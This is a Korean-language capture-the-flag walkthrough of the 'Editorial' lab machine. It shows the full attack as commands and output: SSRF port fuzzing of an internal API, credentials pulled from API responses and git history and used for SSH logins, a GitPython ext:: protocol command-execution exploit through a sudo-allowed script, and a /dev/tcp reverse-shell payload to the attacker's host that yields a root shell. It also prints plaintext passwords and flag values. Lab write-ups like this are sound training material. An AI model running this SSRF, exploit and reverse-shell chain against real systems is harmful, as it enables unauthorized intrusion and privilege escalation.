Proof of Concept

10.129.8.66

Nmap

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Initial Access

80 포트 웹서비스 접속 시 http://editorial.htb로 리다이렉트 됨

┌──(kali㉿kali)-[~/Editorial]
└─$ sudo nmap 10.129.8.66 --open --min-rate 3000 -oN scan -sCV
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-01 17:03 -0500
Nmap scan report for 10.nate.com (10.129.8.66)
Host is up (0.24s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 0d:ed:b2:9c:e2:53:fb:d4:c8:c1:19:6e:75:80:d8:64 (ECDSA)
|_  256 0f:b9:a7:51:0e:00:d5:7b:5b:7c:5f:bf:2b:ed:53:a0 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://editorial.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

/etc/hosts 파일 설정

┌──(kali㉿kali)-[~/Editorial]
└─$ cat /etc/hosts
<SNIP
10.129.8.66	editorial.htb

웹 디렉토리 스캔

  • upload 경로 발견
┌──(kali㉿kali)-[~/Editorial]
└─$ feroxbuster -u http://editorial.htb -s 200 -t 100 -o feroxbuster.txt
 
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.13.1
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://editorial.htb/
 🚩  In-Scope Url          │ editorial.htb
 🚀  Threads               │ 100
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ [200]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.13.1
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 💾  Output File           │ feroxbuster.txt
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200      GET      210l      537w     7140c http://editorial.htb/upload
200      GET       72l      232w     2939c http://editorial.htb/about
200      GET       81l      467w    28535c http://editorial.htb/static/images/unsplash_photo_1630734277837_ebe62757b6e0.jpeg
200      GET        7l     2189w   194901c http://editorial.htb/static/css/bootstrap.min.css
200      GET     4780l    27457w  2300540c http://editorial.htb/static/images/pexels-min-an-694740.jpg
200      GET      177l      589w     8577c http://editorial.htb/
200      GET     9627l    58065w  4215059c http://editorial.htb/static/images/pexels-janko-ferlic-590493.jpg
[####################] - 81s    30013/30013   0s      found:7       errors:1
[####################] - 81s    30000/30000   370/s   http://editorial.htb/ 

upload 페이지에서 Book information에 URL 입력 시 해당 URL로 요청을 보내는 것을 확인

  • request
POST /upload-cover HTTP/1.1
Host: editorial.htb
Content-Length: 16080
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1CEL35ry1u0AbZEw
Accept: */*
Origin: http://editorial.htb
Referer: http://editorial.htb/upload
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
 
------WebKitFormBoundary1CEL35ry1u0AbZEw
Content-Disposition: form-data; name="bookurl"
 
http://10.10.14.17:4444
<SNIP>
  • response
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 01 Feb 2026 15:28:24 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Content-Length: 61
 
/static/images/unsplash_photo_1630734277837_ebe62757b6e0.jpeg
  • kali linux
┌──(kali㉿kali)-[~/Editorial]
└─$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.14.17] from (UNKNOWN) [10.129.8.66] 42958
GET / HTTP/1.1
Host: 10.10.14.17:4444
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

내부에 열린 포트가 있는지 확인하기 위해 SSRF를 이용하여 1~65535포트에 대해 퍼징 수행했으며, 5000번 포트를 결과값으로 받음

┌──(kali㉿kali)-[~/Editorial]
└─$ cat request.txt
POST http://editorial.htb/upload-cover HTTP/1.1
Host: editorial.htb
Content-Length: 312
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1CEL35ry1u0AbZEw
Accept: */*
Origin: http://editorial.htb
Referer: http://editorial.htb/upload
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
 
------WebKitFormBoundary1CEL35ry1u0AbZEw
Content-Disposition: form-data; name="bookurl"
 
http://127.0.0.1:FUZZ
------WebKitFormBoundary1CEL35ry1u0AbZEw
Content-Disposition: form-data; name="bookfile"; filename="burp.json"
Content-Type: application/json
 
test
------WebKitFormBoundary1CEL35ry1u0AbZEw--
 
┌──(kali㉿kali)-[~/Editorial]
└─$ ffuf -request request.txt -w <(seq 1 65535) -ac
 
        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/
 
       v2.1.0-dev
________________________________________________
 
 :: Method           : POST
 :: URL              : http://editorial.htb/upload-cover
 :: Wordlist         : FUZZ: /proc/self/fd/11
 :: Header           : User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
 :: Header           : Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1CEL35ry1u0AbZEw
 :: Header           : Origin: http://editorial.htb
 :: Header           : Connection: keep-alive
 :: Header           : Host: editorial.htb
 :: Header           : Accept-Language: en-US,en;q=0.9
 :: Header           : Accept: */*
 :: Header           : Referer: http://editorial.htb/upload
 :: Header           : Accept-Encoding: gzip, deflate, br
 :: Data             : ------WebKitFormBoundary1CEL35ry1u0AbZEw
Content-Disposition: form-data; name="bookurl"
 
http://127.0.0.1:FUZZ
------WebKitFormBoundary1CEL35ry1u0AbZEw
Content-Disposition: form-data; name="bookfile"; filename="burp.json"
Content-Type: application/json
 
test
------WebKitFormBoundary1CEL35ry1u0AbZEw--
 
 :: Follow redirects : false
 :: Calibration      : true
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
 
5000                    [Status: 200, Size: 51, Words: 1, Lines: 1, Duration: 242ms]
:: Progress: [65535/65535] :: Job [1/1] :: 162 req/sec :: Duration: [0:07:19] :: Errors: 1 ::

bookurl 파라미터를 http://127.0.0.1:5000로 수정 후 요청을 보내면 특정 주소가 반환됨

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 02 Feb 2026 15:00:13 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Content-Length: 51
 
static/uploads/089d60c5-d9f9-43f2-83ab-fa29691ef0f4

해당 주소로 GET 요청을 보내면 엔드포인트 주소들을 확인할 수 있음

┌──(kali㉿kali)-[~/Editorial]
└─$ curl http://editorial.htb/static/uploads/089d60c5-d9f9-43f2-83ab-fa29691ef0f4
{"messages":[{"promotions":{"description":"Retrieve a list of all the promotions in our library.","endpoint":"/api/latest/metadata/messages/promos","methods":"GET"}},{"coupons":{"description":"Retrieve the list of coupons to use in our library.","endpoint":"/api/latest/metadata/messages/coupons","methods":"GET"}},{"new_authors":{"description":"Retrieve the welcome message sended to our new authors.","endpoint":"/api/latest/metadata/messages/authors","methods":"GET"}},{"platform_use":{"description":"Retrieve examples of how to use the platform.","endpoint":"/api/latest/metadata/messages/how_to_use_platform","methods":"GET"}}],"version":[{"changelog":{"description":"Retrieve a list of all the versions and updates of the api.","endpoint":"/api/latest/metadata/changelog","methods":"GET"}},{"latest":{"description":"Retrieve the last version of api.","endpoint":"/api/latest/metadata","methods":"GET"}}]}

해당 엔드포인트들 중에서 “/api/latest/metadata/messages/authors” 접근 시 특정 주소가 반환됨

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 02 Feb 2026 15:13:15 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Content-Length: 51
 
static/uploads/0ce13618-3e26-4fb9-912d-6f4626202b35

해당 주소로 요청을 보낼 경우 응답값에서 아이디/비밀번호 발견 가능

  • dev:dev080217_devAPI!@
┌──(kali㉿kali)-[~/Editorial]
└─$ curl http://editorial.htb/static/uploads/0ce13618-3e26-4fb9-912d-6f4626202b35
{"template_mail_message":"Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, Editorial Tiempo Arriba Team."}

해당 계정 정보로 SSH 접속 성공

┌──(kali㉿kali)-[~/Editorial]
└─$ sshpass -p 'dev080217_devAPI!@' ssh dev@10.129.9.122
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-112-generic x86_64)
 
 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro
 
 System information as of Mon Feb  2 03:15:18 PM UTC 2026
 
  System load:           0.0
  Usage of /:            61.4% of 6.35GB
  Memory usage:          12%
  Swap usage:            0%
  Processes:             225
  Users logged in:       0
  IPv4 address for eth0: 10.129.9.122
  IPv6 address for eth0: dead:beef::250:56ff:feb0:68bb
 
 
Expanded Security Maintenance for Applications is not enabled.
 
0 updates can be applied immediately.
 
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
 
 
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
 
Last login: Mon Jun 10 09:11:03 2024 from 10.10.14.52
dev@editorial:~$

Read user.txt

dev@editorial:~$ cat user.txt
116214e67c4d8fcc4cfb135198cf476b
dev@editorial:~$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.129.9.122  netmask 255.255.0.0  broadcast 10.129.255.255
        inet6 dead:beef::250:56ff:feb0:68bb  prefixlen 64  scopeid 0x0<global>
        inet6 fe80::250:56ff:feb0:68bb  prefixlen 64  scopeid 0x20<link>
        ether 00:50:56:b0:68:bb  txqueuelen 1000  (Ethernet)
        RX packets 203442  bytes 70344158 (70.3 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 163736  bytes 33504621 (33.5 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 157892  bytes 8002408 (8.0 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 157892  bytes 8002408 (8.0 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Privilege Escalation

~/apps 디렉토리에서 .git 디렉토리 발견

dev@editorial:~$ ls
apps  user.txt
dev@editorial:~$ cd apps
dev@editorial:~/apps$ ls -al
total 12
drwxrwxr-x 3 dev dev 4096 Jun  5  2024 .
drwxr-x--- 5 dev dev 4096 Feb  2 15:19 ..
drwxr-xr-x 8 dev dev 4096 Jun  5  2024 .git

Git 커밋 내역에서 prod 계정 비밀번호 발견

  • prod:080217_Producti0n_2023!@
dev@editorial:~/apps$ git log
<SNIP>
commit b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date:   Sun Apr 30 20:55:08 2023 -0500
 
    change(api): downgrading prod to dev
 
    * To use development environment.
<snip>
 
dev@editorial:~/apps$ git show b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
commit b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date:   Sun Apr 30 20:55:08 2023 -0500
 
    change(api): downgrading prod to dev
 
    * To use development environment.
 
diff --git a/app_api/app.py b/app_api/app.py
index 61b786f..3373b14 100644
--- a/app_api/app.py
+++ b/app_api/app.py
@@ -64,7 +64,7 @@ def index():
 @app.route(api_route + '/authors/message', methods=['GET'])
 def api_mail_new_authors():
     return jsonify({
-        'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: prod\nPassword: 080217_Producti0n_2023!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name + " Team."
+        'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name + " Team."
     }) # TODO: replace dev credentials when checks pass
 
 # -------------------------------

prod 계정으로 SSH 접속 성공

┌──(kali㉿kali)-[~/Editorial]
└─$ sshpass -p '080217_Producti0n_2023!@' ssh prod@10.129.9.122
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-112-generic x86_64)
 
 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro
 
 System information as of Mon Feb  2 03:41:20 PM UTC 2026
 
  System load:           0.0
  Usage of /:            60.9% of 6.35GB
  Memory usage:          18%
  Swap usage:            0%
  Processes:             230
  Users logged in:       1
  IPv4 address for eth0: 10.129.9.122
  IPv6 address for eth0: dead:beef::250:56ff:feb0:68bb
 
 
Expanded Security Maintenance for Applications is not enabled.
 
0 updates can be applied immediately.
 
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
 
 
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
 
 
prod@editorial:~$

prod 사용자가 sudo로 clone_prod_change.py 파이썬 스크립트를 실행할 수 있는 것을 확인

prod@editorial:~$ sudo -l
[sudo] password for prod:
Matching Defaults entries for prod on editorial:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
 
User prod may run the following commands on editorial:
    (root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *

clone_prod_change.py 파일 확인

  • 파이썬 Git 라이브러리를 사용하여 레포지토리를 클론하는 코드
prod@editorial:~$ cat /opt/internal_apps/clone_changes/clone_prod_change.py
#!/usr/bin/python3
 
import os
import sys
from git import Repo
 
os.chdir('/opt/internal_apps/clone_changes')
 
url_to_clone = sys.argv[1]
 
r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])

gitpython 라이브러리에서 RCE 취약점 발견\

prod@editorial:~$ pip list | grep -i git
<SNIP>
GitPython             3.1.29

POC 테스트 결과 명령어가 실행되는 것을 확인

prod@editorial:~$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c touch% /home/prod/pwned'
Traceback (most recent call last):
  File "/opt/internal_apps/clone_changes/clone_prod_change.py", line 12, in <module>
    r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
  File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1275, in clone_from
    return cls._clone(git, url, to_path, GitCmdObjectDB, progress, multi_options, **kwargs)
  File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1194, in _clone
    finalize_process(proc, stderr=stderr)
  File "/usr/local/lib/python3.10/dist-packages/git/util.py", line 419, in finalize_process
    proc.wait(**kwargs)
  File "/usr/local/lib/python3.10/dist-packages/git/cmd.py", line 559, in wait
    raise GitCommandError(remove_password_if_present(self.args), status, errstr)
git.exc.GitCommandError: Cmd('git') failed due to: exit code(128)
  cmdline: git clone -v -c protocol.ext.allow=always ext::sh -c touch% /home/prod/pwned new_changes
  stderr: 'Cloning into 'new_changes'...
fatal: Could not read from remote repository.
 
Please make sure you have the correct access rights
and the repository exists.
'
prod@editorial:~$ ls -l
total 0
-rw-r--r-- 1 root root 0 Feb  2 16:19 pwned

리버스쉘 연결 시도하는 페이로드 작성 후 PoC 실행

prod@editorial:~$ echo "sh -i >& /dev/tcp/10.10.14.17/4444 0>&1" > ex.sh
prod@editorial:~$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c bash% /home/prod/ex.sh'

리버스쉘 연결 성공

┌──(kali㉿kali)-[~/Editorial]
└─$ rlwrap nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.14.17] from (UNKNOWN) [10.129.9.122] 33876
#

Read root.txt

# cat root.txt
7b4b6f78370b3b0678a0d608cf92699a
# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.129.9.122  netmask 255.255.0.0  broadcast 10.129.255.255
        inet6 dead:beef::250:56ff:feb0:68bb  prefixlen 64  scopeid 0x0<global>
        inet6 fe80::250:56ff:feb0:68bb  prefixlen 64  scopeid 0x20<link>
        ether 00:50:56:b0:68:bb  txqueuelen 1000  (Ethernet)
        RX packets 224459  bytes 71928725 (71.9 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 169096  bytes 34333694 (34.3 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 159660  bytes 8127944 (8.1 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 159660  bytes 8127944 (8.1 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0